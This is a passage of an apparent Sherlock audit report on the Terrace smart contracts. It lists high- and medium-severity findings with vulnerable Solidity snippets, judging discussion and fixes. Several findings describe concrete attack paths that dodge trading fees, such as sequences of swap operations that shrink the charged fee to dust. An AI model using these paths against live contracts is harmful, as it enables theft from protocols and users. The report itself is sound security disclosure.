6. `if (msg.value >= adjustedFeeValueForFeeReceiver + adjustedFeeValueForTerrace)` - msg.value is less than the fees, hence fees are not paid here (`msg.value` is dust)
7. Swap executes and swaps 1 ETH for 4000 USDC.
8. We enter `tryToChargeFees` for the 2nd time. Fee is now calculated to 1% = 40e6.
9. `msg.value` is more than 40e6, and now 40e6 in eth is paid (dust amount).

Let me know if this clears it up.

midori-fuse

Ok. The attack looks correct, and matches the submission's described attack exactly, except for the WETH/ETH typo (which caused quite the misunderstanding).

I am inclined to dupe this issue with #56 . One of the factors that enable this attack is that the second fee charging attempt tries to charge ETH but based on the USDC amount, i.e. a mismatch between fee amount and fee token.

However, #56 relies on the first mismatch, whereas this one relies on the second mismatch, as well as the validation. One must note that just fixing the mismatches will fix the issue. Checking that enough ETH is sent for `computableFeeAmount` is actually not needed, as applying the given fix will force the fee token to be the output token, which will be correctly charged on the second try. Note that #24 points out both instances of the mismatch.

Quoting Sherlock duping rules:

> Both B & C would not have been possible if error A did not exist in the first place. In this case, both B & C should be put together as duplicates.

and:

> In case the same vulnerability appears across multiple places in different contracts, they can be considered duplicates. The exception to this would be if underlying code implementations, impact, and the fixes are different, then they can be treated separately.

Will make my decision later.

midori-fuse

After some considerations, and with advice from the Sherlock internal judges, I have decided to leave this issue as it is (a solo high), for the following reasons:

For this issue, indeed there are root two causes that enables the attack:

- The `msg.value` check failing, as shown by the submission.
- `tryToChargeFees()` for the second try is calculated based on mismatching values and tokens.

For the family of issue #56, the root cause enabling the attack to begin with is `tryToChargeFees()` for the first try is calculated based on mismatching values and tokens.

While the fixes of "use matching parameters in `tryToChargeFees()`" can be argued to be two instances of the same fix, what separates them out is that:

- In the other issue and all of its dupes, the function `tryToChargeFees()` works correctly, as far as input parameters are concerned.
- In the case of this issue, the function `tryToChargeFees()` actually doesn't work correctly, as the fee is calculated on `msg.value`, instead of `address(this).balance` as with the ERC20 case.
- To fix the other issue, you only have to fix the first instance, which will not fix this issue. The only thing potentially duping them is "the fixes are similar".

It is clear that there are two code errors that allowed the attack to take place. "Fixing one will be sufficient" is not an excuse to deny that there are two distinct root causes/errors (not to mention it is a dangerous practice to fix one bug, but still leave the other hanging in the contract).

The submission has shown:

- A clear attack path. I consider the typo acceptable, as the clarified attack is indeed identical to the one described in the submission.
- Clearly shown all error branches that has lead to what step of the attack that should not have been possible, possible.

For these reasons, I am leaving this issue separate from the other family.

mselser95

I am sorry but i dont quite understand the parameters:

1. trade one is from eth, ops[0].inputToken = eth
2. what is the input token here for the next op?
3. what is the ratio bps?
4. would this issue still be valid under this check?

```
if (i > 0  && op.inputToken != lastAddress) {
    require(cumRatio == 10000, "Maradona: cumRatio is not 10000");
    require(op.inputToken == swapOps[i-1].outputToken, "Token mismatch"); //
    ↪  @audit add this
    cumRatio = 0;
    prevCumOutputAmount = cumOutputAmount;
    cumOutputAmount = 0;
    canBeFromEth = false;
    mustUseContractFunds = true;
}
```

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/22

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-7: mustUseContractFunds restrictions can be skipped

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/62

Found by

bin2chen, ctf_sec

Summary

in `takeTokensAndTrade()` Checking `useContractFund` before setting `mustUseContractFunds` causing for the current loop `swapOps[i].useContractFund` to be unrestricted

Vulnerability Detail

in `takeTokensAndTrade()` We restrict by `mustUseContractFunds`: after the first `first split ops`, all subsequent `ops[]` can only `ops[x].useContractFund==true`

```
    function takeTokensAndTrade(
...

        for (uint256 i = 0; i < swapOps.length; i++) {
            OperationParameters memory op = swapOps[i];
@>          require(mustUseContractFunds? op.useContractFunds : true, "Maradona:
↪   must use contract funds");

            bool isFromEthSwap = op.inputToken == address(0);
            uint256 ratioBPs = op.ratioBPs;

            require(ratioBPs > 0, "Maradona: ratioBPs must be greater than 0");
            require(ratioBPs <= 10000, "Maradona: ratioBPs must be less than or
↪   equal to 10000");

            // Check if last start address is different that the current start
↪   address
            // If it is, we reset the cumRatio and cumOutputAmount
            if (i > 0  && op.inputToken != lastAddress) {
                require(cumRatio == 10000, "Maradona: cumRatio is not 10000");
                cumRatio = 0;
                prevCumOutputAmount = cumOutputAmount;
                cumOutputAmount = 0;
                canBeFromEth = false;
@>              mustUseContractFunds = true;
            }
```

```
            require(markets[op.exchangeID] != address(0), "Maradona: market not
↪  registered");
            ISwapMarket market = ISwapMarket(markets[op.exchangeID]);
```

From the code above, we know that `require(mustUseContractFunds? op.useContractFunds : true, ‘‘Maradona: must use contract funds’’);` This check is performed before setting `mustUseContractFunds = true;`.

This way the current loop `ops[i]` is not restricted Example: ops[0] = {inputToken = eth } ops[1] = {inputToken = eth } ops[2] = {inputToken = usdc, useContractFunds =false} //«----success, this loop will set mustUseContractFunds==true, but `useContractFunds` can false because check before set

Impact

Without the `mustUseContractFunds` restriction, there's no guarantee that all subsequent uses will be preceded by `prevCumOutputAmount`. Another possibility, which a malicious user can use to avoid the fees For example passing in ops[0] = {inputToken = eth , amountIn = 2} ops[1] = {inputToken = eth, useContractFunds=true} ops[2] = {inputToken = eth, useContractFunds =false} The number of eths used to count `fees` gets small

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L367

Tool used

Manual Review

Recommendation

```
    function takeTokensAndTrade(
...

        for (uint256 i = 0; i < swapOps.length; i++) {
            OperationParameters memory op = swapOps[i];
-           require(mustUseContractFunds? op.useContractFunds : true, "Maradona:
↪  must use contract funds");

            bool isFromEthSwap = op.inputToken == address(0);
            uint256 ratioBPs = op.ratioBPs;
```

```
            require(ratioBPs > 0, "Maradona: ratioBPs must be greater than 0");
            require(ratioBPs <= 10000, "Maradona: ratioBPs must be less than or
↪   equal to 10000");

            // Check if last start address is different that the current start
↪   address
            // If it is, we reset the cumRatio and cumOutputAmount
            if (i > 0  && op.inputToken != lastAddress) {
                require(cumRatio == 10000, "Maradona: cumRatio is not 10000");
                cumRatio = 0;
                prevCumOutputAmount = cumOutputAmount;
                cumOutputAmount = 0;
                canBeFromEth = false;
                mustUseContractFunds = true;
            }
+           require(mustUseContractFunds? op.useContractFunds : true, "Maradona:
↪   must use contract funds");
            require(markets[op.exchangeID] != address(0), "Maradona: market not
↪   registered");
            ISwapMarket market = ISwapMarket(markets[op.exchangeID]);
```

Discussion

midori-fuse

Tbh I think this submission is messy.

However, I believe the example in the provided impact section is decent. The fee amount is calculated based on the following loop:

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L304-L311

Once you set a triple-hop trade, all using ETH as input, same output, but the middle operation has `useContractFunds = true`, then indeed you bypass effectively all fees by prematurely breaking the above loop. Because this attack has no restrictions on the actual operation, and allows bypassing of fees completely, I am upgrading this to a High.

Note that the mitigation is incorrect however. The entire first hop needs validation that `mustUseContractFunds = false`

midori-fuse

On a closer inspection, this is actually invalid

For any swaps with the same input token, and the second operation has `useContractFunds = true`, then the following branch is hit:

```
if (op.useContractFunds) {
    op.amountIn = (prevCumOutputAmount * ratioBPs) / 10000;
}
```

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L389-L391

Note that because L377 is not hit at all. This leaves `prevCumOutputAmount` to be zero, and `op.amountIn` to be overwritten to zero.

When the trade happens with a zero `amountIn` as shown below:

```
outputAmount = market.ensureSetUpAndTrade{ value: isFromEthSwap? op.amountIn :
↪  0}(op, msg.sender);
```

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L403

It will revert because all of the markets in scope has a requirement of `amountIn > 0`. For example, on UniV2 Manager:

```
uint256 amountIn = opParams.amountIn;
require(amountIn > 0, "UniswapManager: invalid amount in");
```

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Uniswap/v2/UniswapV2Manager.sol#L68

One can check that all 6 of the Markets in scope has this restriction.

midori-fuse

This issue was initially judged as invalid for the reasons mentioned in the above comment: All of the attack paths discovered were either invalid or too vague. However, it was discovered that this issue is indeed exploitable using another attack with the same root cause.

This comment provides full details about the discovered attack, as well as on the decisions made during the judgement. Please check issue #14 for the complete discussion.

First of all, this report's fee dodging impact seem to have been based on the premature breaking in fee-calculation loop as follow:

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L304-L311

```
uint256 computableFeeAmount = 0;
for(uint256 i = 0; i < swapOps.length; i++ ){
    OperationParameters memory op = swapOps[i];
    if(op.useContractFunds) {
        break;
    }
    computableFeeAmount += op.amountIn;
}
```

which has already been proven to be unexploitable as per the previous comment.

However, because it still holds true `mustUseContractFunds` is enforced one operation late, this is exploitable using a different attack as follow:

- First operation: ETH to USDC, `amountIn = 1 ETH`, `useContractFunds = false`
- Second operation: USDC to USDT, `amountIn = dust`, `useContractFunds = false`
- Fee token = USDT.

The end result is that USDC is stuck in the contract, which can then be retrieved. The following comment has an attached coded PoC.

The reason this works is because, from the second hop onwards, `useContractFunds` is supposed to be enforced, so that the `amountIn` is overwritten in the following branch:

```
if (op.useContractFunds) {
    op.amountIn = (prevCumOutputAmount * ratioBPs) / 10000;
}
```

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L389-L391

When this is not overwritten, the user's `amountIn` input is used, which can be arbitrary, and thus can render the charged fees to dust. This completes the attack and the proof.

The judgement will be as follow:

- This report will be validated, for it is considered to have identified the vulnerability.
- The report #14 will be validated, for it is considered to have identified an attack.

- These two reports will be duped together for the final report, with this report being the main one.

Finally, for my personal view on the result.

I personally don't quite agree with this judgement, as it may be the fair outcome for the two submissions, but it's unfair for the rest of the participants who worked individually (including the two participants who submitted these issues). It is also clear that these two submissions do not uphold the same quality and standards as with the other validated issues in this contest.

However, I do believe that judge Wang and Sherlock internal judges have made clear and justifiable reasonings why these can be validated. The aggregated issue does uncover a new attack not discovered by anyone else, and it would be dangerous to leave a critical issue open in the protocol. For this reason also, there is a certain merit to the decision to reward these issues.

It is worth noting that the rules have already been updated to reflect the higher standards required in a valid submission, and so both of these submissions will not be rewardable in future iterations of the rules, which is already active as of now. This might have been one of the toughest decision and one of the most unorthodox situations in the history of Sherlock judging, and so while I am not in agreement, I can understand and respect the final decision.

I urge all watsons to uphold the highest standards in any of their submissions in any future audit contests, where ever the contest may be.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/14

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-1: Fee-on-transfer token is not integrated correctly

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/5

The protocol has acknowledged this issue.

Found by

Kow, bin2chen, bughuntoor, ctf_sec

Summary

Fee-on-transfer token is not integrated correctly

Vulnerability Detail

Context One:

from contest readme:

> We will be using ERC20 tokens. The contract should handle the case where tokens have, for examples, fee for transfers.

Context two:

https://github.com/d-xo/weird-erc20?tab=readme-ov-file#fee-on-transfer

> Some tokens take a transfer fee (e.g. STA, PAXG), some do not currently charge a fee but may do so in the future (e.g. USDT, USDC).
>
> The STA transfer fee was used to drain $500k from several balancer pools (more details).

But the Fee-on-transfer token is not integrated correctly in several ways:

1. code the only calls swapExactTokenForTokens, but if the token charge, they need to calls this method

```
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external virtual override ensure(deadline) {
    TransferHelper.safeTransferFrom(
        path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0],
↪   path[1]), amountIn
```

```
    );
    uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
    _swapSupportingFeeOnTransferTokens(path, to);
    require(
        IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >=
↪   amountOutMin,
        'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
    );
}
```

2. in Messi contract:

```
} else {
        address bridgeTokenAddress = bridgeOp.inputToken;
        require(bridgeTokenAddress != address(0), "Messi: bridge token must not
↪   be 0x0");
        require(bridgeOp.amountIn > 0, "Messi: bridge amount must be greater
↪   than 0");

        IERC20 tokenToBridge = IERC20(bridgeTokenAddress);

        require(
            tokenToBridge.balanceOf(receivingUser) >= bridgeOp.amountIn,
            "Messi: balance not enough to bridge tokens as only op"
        );
        require(
            tokenToBridge.allowance(receivingUser, address(this)) >=
↪   bridgeOp.amountIn,
            "Messi: allowance not enough to bridge tokens as only op"
        );

        // We bring the tokens and approve the master proxy to operate them
@        tokenToBridge.safeTransferFrom(receivingUser, address(this),
↪   bridgeOp.amountIn);
    }
```

note:

```
tokenToBridge.safeTransferFrom(receivingUser, address(this), bridgeOp.amountIn);
```

the contract assumes that the contract always receives the amount bridgeOp.amountIn then use this bridgeOp.amountIn to start bridge operation.

but if underlying token chargees transfer fee,

while the bridgeOp.amountIn is 10000, suppose 1% of fee is charged,

the contract only receives 9900 token, then bridge 10000 token will revert.

Impact

Lack of integration for fee-on-transfer token

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L445

```
address bridgeTokenAddress = bridgeOp.inputToken;
                    require(bridgeTokenAddress != address(0), "Messi: bridge
↪  token must not be 0x0");
                    require(bridgeOp.amountIn > 0, "Messi: bridge amount must be
↪  greater than 0");

                    IERC20 tokenToBridge = IERC20(bridgeTokenAddress);

                    require(
                        tokenToBridge.balanceOf(receivingUser) >=
↪  bridgeOp.amountIn,
                        "Messi: balance not enough to bridge tokens as only op"
                    );
                    require(
                        tokenToBridge.allowance(receivingUser, address(this)) >=
↪  bridgeOp.amountIn,
                        "Messi: allowance not enough to bridge tokens as only op"
                    );

                    // We bring the tokens and approve the master proxy to
↪  operate them
                    tokenToBridge.safeTransferFrom(receivingUser, address(this),
↪  bridgeOp.amountIn);
```

Tool used

Manual Review

Recommendation

1. support method swapExactTokensForTokensSupportingFeeOnTransferTokens
2. whenever there are safeTransferFrom, use balance before / after to validate the actual amount of received.

Issue M-2: Gas fee is charged too early and make sponsor lose fund when trigger setupAndTrade if there are bridging transaction included

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/10

The protocol has acknowledged this issue.

Found by

ctf_sec

Summary

Gas fee is charged too early and make sponsor lose fund when trigger setupAndTrade if there are bridging transaction.

Vulnerability Detail

In Messi contract, the code to charge gas is:

```
// We charge for gas and fees
        if (!gasCharged) {
            (gasCharged, gasAmountCharged) = tryToChargeForGas(
                (initialGas - gasleft()) * tx.gasprice + valueToSend,
                gasToFeeTokenExchangeRate,
                feesTokenAddress,
                receivingUser,
                true,
                gasCharged,
                // If there is a brige, we check if the input of the bridge is
↪   the fee token
                // Otherwise, we check if the output of the last swapOp is the
↪   fee token
                // Because if so, we dont need to bring the tokens to the
↪   contract
                bridgeFound? bridgeOp.inputToken != feesTokenAddress:
↪   swapOps.length > 0? swapOps[swapOps.length - 1].outputToken !=
↪   feesTokenAddress: claimOp.outputToken != feesTokenAddress
            );
        }
        require(gasCharged, "Messi: gas not charged");
```

as we can see, the gas fee is charged as :

```
(initialGas - gasleft()) * tx.gasprice
```

note, the initialGas is set after a few input validation and before any swap / claim operation

```
   function takeTokensAndTrade(
       OperationParameters[] memory ops,
       uint256 feeRateBps,
       address receivingUser,
       address feesTokenAddress, // always going to be either first or last
↪  token in the path
       uint256 gasToFeeTokenExchangeRate
   ) public payable override noReentrancy onlySponsor notPaused{
       uint256 prevSwapEthBalance = address(this).balance;

       require(msg.sender == sponsor, "Messi: only sponsor can talk to messi");
       require(gasToFeeTokenExchangeRate > 0, "Messi: gasToFeeTokenExchangeRate
↪  must be greater than 0");
       require(receivingUser != address(0), "Messi: receivingUser must not be
↪  0x0");
       require(ops.length > 0, "Messi: no operations to execute");

       if (!validateFeeToken(feesTokenAddress, ops)) {
           revert("Messi: fee token must be either input or output token");
       }

       // Separate the claim and bridge operations from the masterProxy
↪  operations
       OperationParameters memory claimOp;
       bool claimFound;
       OperationParameters[] memory swapOps;
       OperationParameters memory bridgeOp;
       bool bridgeFound;
       (claimOp, claimFound, swapOps, bridgeOp, bridgeFound) =
↪  processOperations(ops);

       bool inputFeeCharged = false;
       bool feesCharged = false;
       bool gasCharged = false;
       uint256 gasAmountCharged = 0;

       // We start considering the gas from this point forward
@       uint256 initialGas = gasleft();
```

the gas is charged before final transfer or bridge transaction,

this means that the sponsor has to pay the gas fee to complete the transfer or bridge for receivingUser,

and the bridge transaction such as stargate bridge can be gas intenstive.

https://etherscan.io/txs?a=0x8731d54E9D02c286767d56ac03e8037C07e01e98p=1999

this is an example of some swap transaction, bascially every swap cost roughly 20 USD gas fee,

this basically mean that in mainnet, if on mainnet, if sponsor complete 10000 setupAndTrade transaction (10000 stargate bridge,)

gas cost is not charged from the receivingUser, but paid from sponsor, then sponsor are lose 10000 * 20 USD = 200K USD fund.

```
if (bridgeOp.inputToken == feesTokenAddress) {
                bridgeOp.amountIn = bridgeOp.amountIn - gasAmountCharged;
            }
            if (!inputFeeCharged) {
                bridgeOp.amountIn = bridgeOp.amountIn - feesDeductedFinal;
            }
            if (bridgeOp.inputToken != address(0)) {
                IERC20 tokenToBridge = IERC20(bridgeOp.inputToken);
                tokenToBridge.approve(markets[bridgeOp.exchangeID],
↪   bridgeOp.amountIn);
            } else {
                valueToSend = valueToSend;
            }
            bridge(bridgeOp, bridgeFeeEth + valueToSend);
```

as we can see, if bridgeOp.inputToken is not feesTokenAddress, the gasAmountCharged is not really charged and deducted.

Impact

Gas fee is charged too early and make sponsor lose fund when trigger setupAndTrade if there are bridging transaction.

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L453

Tool used

Manual Review

Recommendation

Charge additional gas to complete bridge transaction after bridging transaction.

Discussion

midori-fuse

The following restrictions apply to the impact:

- The loss is a gas fee, which is bounded by the gas cost of the bridging transaction, and is quantifiable by the tx's gas price.
- The loss is only material when bridging *from* the ETH mainnet. The loss is further constrained in other networks.
- The Sponsor can always choose not to sponsor a certain user's trade. It was never defined in the contest details that the Sponsor must accept all trades by all users.
- In case the output token is ETH, there might not be a way to mitigate this, as ETH has no fund-pulling mechanism as with ERC20.

I assign High severity to other issues in this contest if they bypass fees significantly, because the fee loss is defined by the trade volume, which is unbounded.

For these reasons, I believe Medium severity is more appropriate.

mselser95

Hello. This is very interesting, and it's a complex situation to handle. We decided that in case there's a bridge, we will charge the remaining gas on the other side of the bridge as additional fee since we will control that leg. Thanks for catching this.

Issue M-3: `CCTPManager` does not support bridging to Ethereum mainnet

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/13

Found by

Kow, bin2chen

Summary

`CCTPManager` does not support bridging to Ethereum mainnet.

Vulnerability Detail

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/CCTP/CCTPManager.sol#L102-L105

```
} else if (operation == BridgeLib.OperationType.BRIDGE) {

    uint32 destination = uint32(opParams.extraUInts[1]);
    require(destination != 0, "CCTPManager: invalid destination");
```

`CCTPManager` reverts if the supplied destination for bridging is `0`, but `0` is a valid destination referring to the Ethereum mainnet as seen in the CCTP docs.

Impact

Attempts to bridge USDC to Ethereum mainnet will always revert.

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/CCTP/CCTPManager.sol#L102-L105

Tool used

Manual Review

Recommendation

Remove the requirement that `destination != 0`.

Discussion

midori-fuse

Very nice issue

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/11

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-4: Users are heavily overcharged for gas fees if they're bridging ETH

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/20

Found by

Kow, PUSH0, bughuntoor

Summary

Users are heavily overcharged for gas fees if they're bridging ETH.

Vulnerability Detail

In `Messi`, the amount of gas we charge fees on is the gas used for claim and swap operations plus `valueToSend` (the ETH to bridge, not including the bridging fee, so this will only be non-zero if we're bridging with ETH). https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L453-L464

```
(gasCharged, gasAmountCharged) = tryToChargeForGas(
    (initialGas - gasleft()) * tx.gasprice + valueToSend, <-- gasAmount
    gasToFeeTokenExchangeRate,
    feesTokenAddress,
    receivingUser,
    true,
    gasCharged,
    bridgeFound? bridgeOp.inputToken != feesTokenAddress: swapOps.length > 0?
↪   swapOps[swapOps.length - 1].outputToken != feesTokenAddress:
↪   claimOp.outputToken != feesTokenAddress
);
```

We directly calculate the fee amount to be paid using the `gasToFeeTokenExchangeRate`. https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L224

```
uint256 feeValue = (gasAmount * gasToFeeTokenExchangeRate) / 10 ** 18;
```

Since `gasAmount` includes `valueToSend`, if we're bridging with ETH (e.g. using `StargateManager`), we will have to pay fees for gas + the **full value of the amount we're bridging**. When the fee token is not ETH, the fee amount will be transferred from the `receivingUser` to `feeCollector` which is not unlikely since the

`receivingUser` could have approved a large amount (or even max amount) to the `Messi` contract for convenience.

Impact

Loss of funds for users due to heavily overpriced gas fees when bridging ETH.

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L453-L464
https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L224

Tool used

Manual Review

Recommendation

Replace `valueToSend` in the `gasAmount` parameter with 'bridgeFeeEth' (which is provided by the caller, not the receiving user) when charging for gas.

Discussion

midori-fuse

The overcharging only happens if and when the final operation is bridging ETH. However, even if the fee is overcharged, the fee only goes to the admin, who can refund to the user.

Because the admin is trusted, the issue is then a logic mistake, and no funds are actually lost/frozen. It will either cause a DoS on the user funds or the tx would never go through due to insufficient approval. Hence, Medium severity is more appropriate.

mselser95

I see. You're right, but there is a slight distinction between fee and gas charged. It took me a while to understand what you meant but the idea is that we're sponsoring the bridging fee, not the "fee" as in trading fee. So the `bridgeFeeEth` is the actual thing we're sponsoring along with the gas consumed.

Thanks!

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/8

sherlock-admin2

The Lead Senior Watson signed off on the fix.

bin2chen66

Other comments This pr change was changed to the old one by https://github.com/subdialia/smart-contracts-audit-v1/pull/15 In this pr https://github.com/subdialia/smart-contracts-audit-v1/pull/26 was corrected again.

Issue M-5: Protocol is incompatible with many tokens due to unsafe transfers and approvals

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/21

The protocol has acknowledged this issue.

Found by

Kow, bin2chen, bughuntoor, ctf_sec

Summary

Protocol is incompatible with many tokens due to unsafe transfers and approvals.

Vulnerability Detail

The in-scope contracts all use `SafeERC20` for `IERC20`, but don't always use the `safe` methods for transfers and approvals. An example in `BalancerManager` is shown below. https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Balancer/BalancerManager.sol#L79-L86

```
IERC20 startToken = IERC20(opParams.inputToken);
require(
    startToken.allowance(msg.sender, address(this)) >= amountIn,
    "BalancerManager: insufficient allowance"
);

startToken.transferFrom(msg.sender, address(this), amountIn);
startToken.approve(address(vault), opParams.amountIn);
```

Many tokens don't conform to `IERC20` and do not have return values on `transfer`/`transferFrom` and/or `approve`. Consequently, calling unsafe transfer and approve functions on these tokens cast to `IERC20` will always revert.

Impact

Protocol is unusable with many tokens that don't conform to ERC20 (there's at least one instance of an unsafe transfer or approve in every in-scope contract).

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Balancer/BalancerManager.sol#L79-L86

Tool used

Manual Review

Recommendation

Ensure that `safe` functions are used for ERC20 transfers and approvals (and be careful of leaving hanging approvals which would brick `safeApprove`).

Discussion

midori-fuse

This one looks like it's just pointing out a general "best practice" when it comes to ERC20.

> Consequently, calling unsafe transfer and approve functions on these tokens cast to IERC20 will always revert.

This is not correct, even on those tokens, directly calling transfer/approve will only revert in very specific cases, which the submission never pointed out.

The damage is also not clear, "Protocol is unusable" on those tokens is not correct, and the submission has failed to point out scenarios where this might be a problem (e.g. it did not point out instances of approval race conditions, or explain why handling return values is necessary).

Inclining towards invalidation.

ctf-sec

Escalate

this is a medium severity issue.

> This is not correct, even on those tokens, directly calling transfer/approve will only revert in very specific cases, which the submission never pointed out.

but many duplicates points out which token revert such as my duplicate #1 and #2

and the contest read me clearly says we can report finding related to missing return value token.

sherlock-admin3

> Escalate
>
> this is a medium severity issue.

> This is not correct, even on those tokens, directly calling transfer/approve will only revert in very specific cases, which the submission never pointed out.

but many duplicates points out which token revert such as my duplicate #1 and #2

and the contest read me clearly says we can report finding related to missing return value token.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

midori-fuse

I agree with the escalation. This mistake is on me.

Because IERC20 has a different function signature than the token, transfer/approve calls are indeed nonexistent and will revert. Furthermore, all dupes clearly stated that and should all be valid.

ctf-sec

Thanks

WangSecurity

Agree with the escalation, plan to accept it and validate with medium severity. The duplicates are #1, #2, #3, #50, #51 and #69.

WangSecurity

Result: Medium Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- ctf-sec: accepted

Issue M-6: Caller does not receive excess gas fee in `StargateManage`

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/22

Found by

Kow, ctf_sec

Summary

The original caller does not receive excess gas fees in `StargateManager`.

Vulnerability Detail

In `StargateManager::bridge`, the `refundAddress` is always set to the `StargateManager` contract (itself). https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Stargate/StargateManager.sol#L79

```
address payable refundAddress = payable(address(this));
```

This means any excess gas used for sending the cross chain swap message is refunded to `StargateManager` and only the owner can retrieve this despite the fact that the bridging was provided by the caller for which the bridging transaction is being executed on behalf of (via a paymaster) - this is a problem when called via `Maradona` which is permissionless and public. It should also be noted that `getBridgeFee` quotes the required bridging fee with a non-empty payload of length 2 despite the actual swap being sent with an empty payload, causing excess gas to be sent which should be sent back to the user.

Impact

Caller does not receive excess gas fees resulting from bridging with `StargateManager`.

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Stargate/StargateManager.sol#L79

Tool used

Manual Review

Recommendation

Set `refundAddress` to an address provided by the caller of the paymaster (e.g. in `extraAddresses`).

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/9

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-7: Incompatibility with revert-on-zero-transfer tokens

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/25

Found by

Kow, PUSH0, bughuntoor, ctf_sec

Summary

Per the contest README, revert-on-zero-transfer tokens should be considered for the purpose of this audit.

We show that the contract is incompatible with revert-on-zero-transfer tokens in certain valid inputs, causing reverts.

Vulnerability Detail

We use Maradona as the example. The same idea applies to Messi.

In `tryToChargeFees()`, the fee values are calculated based on `feeRateBps` with several case handling:

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L238-L246

```
uint256 feeValueForFeeReceiver = (amount * feeRateBps) / 10000; // (A)
uint256 feeValueForTerrace = (feeValueForFeeReceiver * txFeeBps) / 10000;
uint256 minFeeValueForTerrace = (amount * minTerraceFeeBps) / 10000;
uint256 adjustedFeeValueForTerrace = feeValueForTerrace > minFeeValueForTerrace
    ? feeValueForTerrace
    : minFeeValueForTerrace;
uint256 adjustedFeeValueForFeeReceiver = feeValueForTerrace >
↪   minFeeValueForTerrace
    ? feeValueForFeeReceiver - feeValueForTerrace
    : feeValueForFeeReceiver; // (B)
```

The `feeRateBps` is supplied by the sponsor/user/whoever triggers the swap on behalf:

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L277

```
function takeTokensAndTrade(
    OperationParameters[] memory ops,
```

```
    uint256 feeRateBps, // @audit same parameter is used for `tryToChargeFees()`
    address feeReceiver,
    address receivingUser,
    address feesTokenAddress
) public payable override noReentrancy notPaused{
```

If the `feeRateBps` is supplied to be zero, then line (A) will calculate `feeValueForFeeReceiver` to be zero, which leads to (B) calculating `adjustedFeeValueForFeeReceiver` to also be zero. Then a zero-value transfer will be triggered at line 263:

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L263

```
IERC20 feeToken = IERC20(feeTokenAddress);
uint256 balance = feeToken.balanceOf(address(this));

if (balance >= adjustedFeeValueForFeeReceiver + adjustedFeeValueForTerrace) {
    feeToken.safeTransfer(feeReceiver, adjustedFeeValueForFeeReceiver); //
↪   @audit zero amount
```

Thereby causing the tx to revert.

There are valid use cases where the caller will want to use a zero fee rate, for example:

- The Messi Sponsor may want to enable free swapping as a promotional event, or waivering fees for a special group of customers.
- Protocols building on top of Maradona may want to enable the same kind of discount for their users.

Proof of Concept

Add the following function into `MockERC20` contract

```
function transfer(address to, uint256 value) public virtual override returns
↪   (bool) {
    if (value == 0) revert("ERC20: Zero value on transfer");
    return super.transfer(to, value);
}
```

